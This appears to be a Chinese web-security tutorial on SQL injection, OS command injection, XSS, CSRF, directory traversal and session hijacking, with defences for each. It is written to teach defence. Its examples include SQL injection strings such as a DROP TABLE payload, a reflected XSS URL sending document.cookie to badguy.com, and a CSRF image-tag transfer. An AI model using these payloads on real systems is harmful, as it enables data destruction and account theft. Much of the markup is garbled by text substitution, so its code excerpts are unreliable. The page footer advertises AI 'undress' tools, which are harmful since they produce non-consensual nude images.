首页 数据库 mysql教程 Web很脆弱,SQL注入要了解_MySQL

Web很脆弱,SQL注入要了解_MySQL

Jun 01, 2016 pm 01:37 PM
字符串 服务器

bitsCN.com

 

SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
通过一下的例子更形象的了解SQL注入:
有一个Login画面,在这个Login画面上有两个文本框分别用来输入用户名和密码,当用户点了登录按钮的时候,会对输入的用户名和密码进行验证。验证的SQL语句如下:
       select * from student where username='输入的用户名' and password='输入的密码'  
如果能够检索到数据,说明验证通过,否则验证不通过。
 
如果用户在用户名文本框中输入 ' or '1' = '1' or '1' = '1,则验证的SQL语句变成:

      select * from student where username='' or '1' = '1' or '1' = '1' and password=''  
 
如果用户在密码文本框中输入 1' or '1' = '1,则验证的SQL语句变成:

  select * from student where username='' and password='1' or '1'='1'  
 
以上两个SQL语句的where条件永远是成立的,所以验证永远是有效的。
 
如果在用户名文本框中输入  tom' ; drop table student-- ,则SQL语句变成:
[sql] view plaincopyprint?
1.       select * from student where username='tom' ; drop table student--' and password=''  
这样就变成的两条SQL语句,执行完查询操作,接着直接把student表给删除了(双连接符表示注释)

如何防止SQL注入:
1.       永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。
2.       永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取
3.       永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接
4.       不要把机密信息直接存放,加密或者hash掉密码和敏感的信息
5.       应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
6.       采用一些工具或网络平台检测是否存在SQL注入

OS命令注入

OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的。OS命令注入即能够在服务器上执行任意命令。
如何防止OS命令注入:
1.       不要调用外部程序。举个例子,在UNIX系统上,有一个叫CGI的程序,可以执行sendmail命令来发送邮件。也许你的web应用程序也有发送邮件的功能,通过直接调用CGI程序发送邮件非常的简单,但是不要这样做,因为在执行sendmail命令的同时,也会混杂进其他OS命令,正确的做法是使用发送邮件的library。
2.       过滤调 、; ,[ ,] ,| , ,Web很脆弱,SQL注入要了解_MySQL 之类的符号
3.       设置用户的权限

XSS跨站脚本攻击

XSS跨站脚本攻击指攻击者在网页中嵌入客户端脚本(例如JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的,比如获取用户的Cookie,导航到恶意网站,携带木马等。
XSS攻击场景有以下两个方面:
1. Dom-Based XSS 漏洞。攻击过程如下
Tom 发现了Victim.com中的Search.asp页面有XSS漏洞,Search.asp的代码如下:

1.         
2.         

<web>  <br web> 3.           <br web> 4.           Results  for    <br web> 5.           ...  <br web> 6.         <web>  <br web> 7.       <web>  <br web> Tom 先建立一个网站http:Web很脆弱,SQL注入要了解_MySQLWeb很脆弱,SQL注入要了解_MySQLbadguy.com,用来接收“偷”来的信息。然后Tom 构造一个恶意的url(如下),通过某种方式(邮件,QQ)发给Monica<br web> http:Web很脆弱,SQL注入要了解_MySQLWeb很脆弱,SQL注入要了解_MySQLvictim.comWeb很脆弱,SQL注入要了解_MySQLsearch.asp?term=<script>window.open("http:Web很脆弱,SQL注入要了解_MySQLWeb很脆弱,SQL注入要了解_MySQLbadguy.com?cookie="+document.cookie)<Web很脆弱,SQL注入要了解_MySQLscript><br Web很脆弱,SQL注入要了解_MySQL> Monica点击了这个URL,嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行,那么Monica在victim.com网站的cookie,就会被发送到badguy网站中,这样Monica在victim.com 的信息就被Tom盗了<br Web很脆弱,SQL注入要了解_MySQL> 2. Stored XSS(存储式XSS漏洞)。该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 <Web很脆弱,SQL注入要了解_MySQLp><p> <strong>攻击过程如下<Web很脆弱,SQL注入要了解_MySQLstrong><Web很脆弱,SQL注入要了解_MySQLp><p> Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,于是Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。<br Web很脆弱,SQL注入要了解_MySQL> Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户。<br Web很脆弱,SQL注入要了解_MySQL> <strong>如何防止XSS跨站脚本攻击:<br Web很脆弱,SQL注入要了解_MySQL> 原则:不相信用户输入的数据<Web很脆弱,SQL注入要了解_MySQLstrong><br Web很脆弱,SQL注入要了解_MySQL> 注意:攻击代码不一定在<script><Web很脆弱,SQL注入要了解_MySQLscript>中<br Web很脆弱,SQL注入要了解_MySQL> 1. 将重要的cookie标记为http only,这样的话Javascript 中的document.cookie语句就不能获取到cookie了<Web很脆弱,SQL注入要了解_MySQLp><p> 2. 只允许用户输入我们期望的数据。例如:年龄的textbox中,只允许用户输入数字,而数字之外的字符都过滤掉<Web很脆弱,SQL注入要了解_MySQLp><p> 3. 对数据进行Html Encode 处理。< 转化为 <、> 转化为 >、& 转化为 &、&#39; 转化为 &#039;、" 转化为 "、空格 转化为 <Web很脆弱,SQL注入要了解_MySQLp><p> 4. 过滤或移除特殊的Html标签。例如:<script>、<iframe>、< for <、> for >、&quot for<Web很脆弱,SQL注入要了解_MySQLp><p> 5. 过滤JavaScript 事件的标签。例如 "onclick="、"onfocus" 等等<Web很脆弱,SQL注入要了解_MySQLp><p> 很多浏览器都加入了安全机制来过滤XSS(如下图,在ie中输入http:Web很脆弱,SQL注入要了解_MySQLWeb很脆弱,SQL注入要了解_MySQLwww.baidu.comWeb很脆弱,SQL注入要了解_MySQLs?wd=<script>alert(document.cookie)<Web很脆弱,SQL注入要了解_MySQLscript>)<br Web很脆弱,SQL注入要了解_MySQL> <img src="/static/imghw/default1.png" data-src="http:Web很脆弱,SQL注入要了解_MySQLWeb很脆弱,SQL注入要了解_MySQLimg.bitscn.comWeb很脆弱,SQL注入要了解_MySQLupimgWeb很脆弱,SQL注入要了解_MySQLallimgWeb很脆弱,SQL注入要了解_MySQLc140719Web很脆弱,SQL注入要了解_MySQL1405LJN2Q20-54940.jpg" class="lazy" alt="Web很脆弱,SQL注入要了解_MySQL" Web很脆弱,SQL注入要了解_MySQL><Web很脆弱,SQL注入要了解_MySQLp><br Web很脆弱,SQL注入要了解_MySQL><h3> CSRF跨站请求伪造<Web很脆弱,SQL注入要了解_MySQLh3><p> CSRF(XSRF)尽管听起来很想XSS跨站脚本攻击,但是它于XSS完全不同。XSS是利用站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的站点。<br Web很脆弱,SQL注入要了解_MySQL> 与XSS相比,CSRF攻击不大流行和难以防范,所以比XSS更具危险性。<Web很脆弱,SQL注入要了解_MySQLp><p> <strong>以下是一个CSRF的例子<Web很脆弱,SQL注入要了解_MySQLstrong><Web很脆弱,SQL注入要了解_MySQLp><p> 受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求http:Web很脆弱,SQL注入要了解_MySQLWeb很脆弱,SQL注入要了解_MySQLbank.exampleWeb很脆弱,SQL注入要了解_MySQLwithdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。<Web很脆弱,SQL注入要了解_MySQLp><p> 黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行:http:Web很脆弱,SQL注入要了解_MySQLWeb很脆弱,SQL注入要了解_MySQLbank.exampleWeb很脆弱,SQL注入要了解_MySQLwithdraw?account=bob& amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。<Web很脆弱,SQL注入要了解_MySQLp><p> 这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码:<img src=”http:Web很脆弱,SQL注入要了解_MySQLWeb很脆弱,SQL注入要了解_MySQLbank.exampleWeb很脆弱,SQL注入要了解_MySQLwithdraw?account=bob&amount=1000000&for=Mallory” Web很脆弱,SQL注入要了解_MySQL alt="Web很脆弱,SQL注入要了解_MySQL" >。并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。<Web很脆弱,SQL注入要了解_MySQLp><p> 但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。<Web很脆弱,SQL注入要了解_MySQLp><p> 如何防止CSRF跨站请求伪造:<br Web很脆弱,SQL注入要了解_MySQL> 1.       对于web站点,将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field)。<Web很脆弱,SQL注入要了解_MySQLp><p> 2.       “双提交”cookie。此方法只工作于Ajax请求,但它能够作为无需改变大量form的全局修正方法。如果某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。什么叫限制跨域规则呢?限制跨域规则就是:如果服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域,因为其它域是不能从信任域读取cookie的。上面那个例子的受信任域就是银行网站的某个域,而Mallory发给Bob的链接不是受信任的域。<Web很脆弱,SQL注入要了解_MySQLp><p> 3.       使用Post代替Get。Post方式不会在web服务器和代理服务器日志中留下数据尾巴,然而Get方式却会留下数据尾巴。<Web很脆弱,SQL注入要了解_MySQLp><p> 4.       以上三点都是正对web站点的防御手段,第4点是从用户的角度的防御手段。通过在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie来防止CSRF攻击。<Web很脆弱,SQL注入要了解_MySQLp><br Web很脆弱,SQL注入要了解_MySQL><h3> 目录遍历漏洞<Web很脆弱,SQL注入要了解_MySQLh3><p> 目录遍历漏洞在国内外有不同的叫法(信息泄露漏洞、非授权文件包含漏洞、等等)。目录遍历漏洞就是在程序中没有过滤用户输入的..Web很脆弱,SQL注入要了解_MySQL和.Web很脆弱,SQL注入要了解_MySQL之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件,其危害可想而知。<br Web很脆弱,SQL注入要了解_MySQL> 如何防止目录遍历漏洞:<Web很脆弱,SQL注入要了解_MySQLp><p> 1.  权限控制<Web很脆弱,SQL注入要了解_MySQLp><p> 2. 对包含了恶意的符号或者空字节进行拒绝<Web很脆弱,SQL注入要了解_MySQLp><p> 3. 使用绝对路径 参数来控制访问目录,使其即使是越权或者跨越目录也是在指定的目录下<Web很脆弱,SQL注入要了解_MySQLp><br Web很脆弱,SQL注入要了解_MySQL><h3> 参数篡改<Web很脆弱,SQL注入要了解_MySQLh3><p> 参数值窜改是网络攻击的一种形式,其中在URL中的某些参数或由用户输入的网页形式领域数据都在没有得到用户授权的情况下改变了。这导致浏览器指向一个不是用户想去的链接、网页或网站(尽管对随机观测者来说它们看上去几乎一样)。参数值篡改被犯罪者用来获取个人或商业信息。<br Web很脆弱,SQL注入要了解_MySQL> 如何防止参数篡改:<Web很脆弱,SQL注入要了解_MySQLp><p> 1. 对所有参数值进行验证<Web很脆弱,SQL注入要了解_MySQLp><p> 2. 根据session id进行迁移,参数使用服务器端的值<Web很脆弱,SQL注入要了解_MySQLp><p>  <Web很脆弱,SQL注入要了解_MySQLp><h3> 会话劫持<Web很脆弱,SQL注入要了解_MySQLh3><p> 会话劫持就是在一次正常的会话过程当中,攻击者作为第三方参与到其中,他可以在正常数据包中插入恶意数据,也可以在双方的会话当中进行监听,甚至可以是代替某一方主机接管会话。<br Web很脆弱,SQL注入要了解_MySQL> 我们可以把会话劫持攻击分为两种类型:<Web很脆弱,SQL注入要了解_MySQLp><p> 1)中间人攻击(Man In The Middle,简称MITM)<Web很脆弱,SQL注入要了解_MySQLp><p> 2)注射式攻击(Injection)<Web很脆弱,SQL注入要了解_MySQLp><p> <br Web很脆弱,SQL注入要了解_MySQL> 中间人攻击:简而言之,所谓的MITM攻击就是通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情<br Web很脆弱,SQL注入要了解_MySQL> 注射式攻击:这种方式的会话劫持比中间人攻击实现起来简单一些,它不会改变会话双方的通讯流,而是在双方正常的通讯流插入恶意数据<Web很脆弱,SQL注入要了解_MySQLp><p> <br Web很脆弱,SQL注入要了解_MySQL> 还可以把会话劫持攻击分为两种形式:1)被动劫持,2)主动劫持<Web很脆弱,SQL注入要了解_MySQLp><p> 被动劫持:在后台监视双方会话的数据流,丛中获得敏感数据<Web很脆弱,SQL注入要了解_MySQLp><p> 主动劫持:将会话当中的某一台主机“踢”下线,然后由攻击者取代并接管会话,这种攻击方法危害非常大,攻击者可以做很多事情<Web很脆弱,SQL注入要了解_MySQLp><p> <br Web很脆弱,SQL注入要了解_MySQL> <strong>如何防止会话劫持:<Web很脆弱,SQL注入要了解_MySQLstrong><Web很脆弱,SQL注入要了解_MySQLp><p> <strong>1.  限制入网的连接<Web很脆弱,SQL注入要了解_MySQLstrong><Web很脆弱,SQL注入要了解_MySQLp><p> <strong>2. 设置你的网络拒绝假冒本地地址从互联网上发来的数据包<Web很脆弱,SQL注入要了解_MySQLstrong><Web很脆弱,SQL注入要了解_MySQLp><p> <strong>3. 加密也是有帮助的。FTP和Telnet协议是最容易受到攻击的。SSH是一种很好的替代方法<Web很脆弱,SQL注入要了解_MySQLstrong><Web很脆弱,SQL注入要了解_MySQLp> bitsCN.com</script></web></web></web>

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
2 周前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳图形设置
2 周前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您听不到任何人,如何修复音频
2 周前 By 尊渡假赌尊渡假赌尊渡假赌

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

用PHP构建IP代理服务器的最佳实践指南 用PHP构建IP代理服务器的最佳实践指南 Mar 11, 2024 am 08:36 AM

在网络数据传输中,IP代理服务器扮演着重要的角色,能够帮助用户隐藏真实IP地址,保护隐私、提升访问速度等。在本篇文章中,将介绍如何用PHP构建IP代理服务器的最佳实践指南,并提供具体的代码示例。什么是IP代理服务器?IP代理服务器是一种位于用户与目标服务器之间的中间服务器,它充当用户与目标服务器之间的中转站,将用户的请求和响应进行转发。通过使用IP代理服务器

如何将Dnsmasq配置为DHCP中继服务器 如何将Dnsmasq配置为DHCP中继服务器 Mar 21, 2024 am 08:50 AM

DHCP中继的作用是将接收到的DHCP数据包转发到网络上的另一个DHCP服务器,即使这两个服务器位于不同的子网中。通过使用DHCP中继,您可以实现在网络中心部署一个集中式的DHCP服务器,并利用它为所有网络子网/VLAN动态分配IP地址。Dnsmasq是一种常用的DNS和DHCP协议服务器,可以配置为DHCP中继服务器,以帮助管理网络中的动态主机配置。在本文中,我们将向您展示如何将dnsmasq配置为DHCP中继服务器。内容主题:网络拓扑在DHCP中继上配置静态IP地址集中式DHCP服务器上的D

epic服务器离线进不了游戏怎么办?epic离线进不了游戏解决方法 epic服务器离线进不了游戏怎么办?epic离线进不了游戏解决方法 Mar 13, 2024 pm 04:40 PM

  epic服务器离线进不了游戏怎么办?这个问题想必很多小伙伴都有遇到过,出现了此提示就是导致正版的游戏无法启动,那么出现这个问题一般是网络和安全软件干扰导致的,那么应该怎么解决呢,本期小编就来和大伙分享解决方法,希望今日的软件教程可以帮助各位解决问题。  epic服务器离线进不了游戏怎么办:  1、很可能是被安全软件干扰了,将游戏平台和安全软件关闭在重启。  2、其次就是网络波动过大,尝试重启一次路由器,看看是否有效,如果条件可以的话,可以尝试使用5g移动网络来进行操作。  3、然后有可能是更

PHP中int类型转字符串的方法详解 PHP中int类型转字符串的方法详解 Mar 26, 2024 am 11:45 AM

PHP中int类型转字符串的方法详解在PHP开发中,经常会遇到将int类型转换为字符串类型的需求。这种转换可以通过多种方式实现,本文将详细介绍几种常用的方法,并附带具体的代码示例来帮助读者更好地理解。一、使用PHP内置函数strval()PHP提供了一个内置函数strval(),可以将不同类型的变量转换为字符串类型。当我们需要将int类型转换为字符串类型时,

Golang中如何检查字符串是否以特定字符开头? Golang中如何检查字符串是否以特定字符开头? Mar 12, 2024 pm 09:42 PM

Golang中如何检查字符串是否以特定字符开头?在使用Golang编程时,经常会遇到需要检查一个字符串是否以特定字符开头的情况。针对这一需求,我们可以使用Golang中的strings包提供的函数来实现。接下来将详细介绍如何使用Golang检查字符串是否以特定字符开头,并附上具体的代码示例。在Golang中,我们可以使用strings包中的HasPrefix

Golang字符串是否以指定字符结尾的判断方法 Golang字符串是否以指定字符结尾的判断方法 Mar 12, 2024 pm 04:48 PM

标题:Golang中判断字符串是否以指定字符结尾的方法在Go语言中,有时候我们需要判断一个字符串是否以特定的字符结尾,这在处理字符串时十分常见。本文将介绍如何使用Go语言来实现这一功能,同时提供代码示例供大家参考。首先,让我们来看一下Golang中如何判断一个字符串是否以指定字符结尾的方法。Golang中的字符串可以通过索引来获取其中的字符,而字符串的长度可

如何在服务器上安装 PHP FFmpeg 扩展? 如何在服务器上安装 PHP FFmpeg 扩展? Mar 28, 2024 pm 02:39 PM

如何在服务器上安装PHPFFmpeg扩展?在服务器上安装PHPFFmpeg扩展可以帮助我们在PHP项目中处理音视频文件,实现音视频文件的编解码、剪辑、处理等功能。本文将介绍如何在服务器上安装PHPFFmpeg扩展,以及具体的代码示例。首先,我们需要确保服务器上已经安装了PHP以及FFmpeg。如果没有安装FFmpeg,可以按照以下步骤安装FFmpe

python怎么重复字符串_python重复字符串教程 python怎么重复字符串_python重复字符串教程 Apr 02, 2024 pm 03:58 PM

1、首先打开pycharm,进入到pycharm主页。2、然后新建python脚本,右键--点击new--点击pythonfile。3、输入一段字符串,代码:s="-"。4、接着需要把字符串里面的符号重复20次,代码:s1=s*20。5、输入打印输出代码,代码:print(s1)。6、最后运行脚本,在最底部会看到我们的返回值:-就重复了20次。

See all articles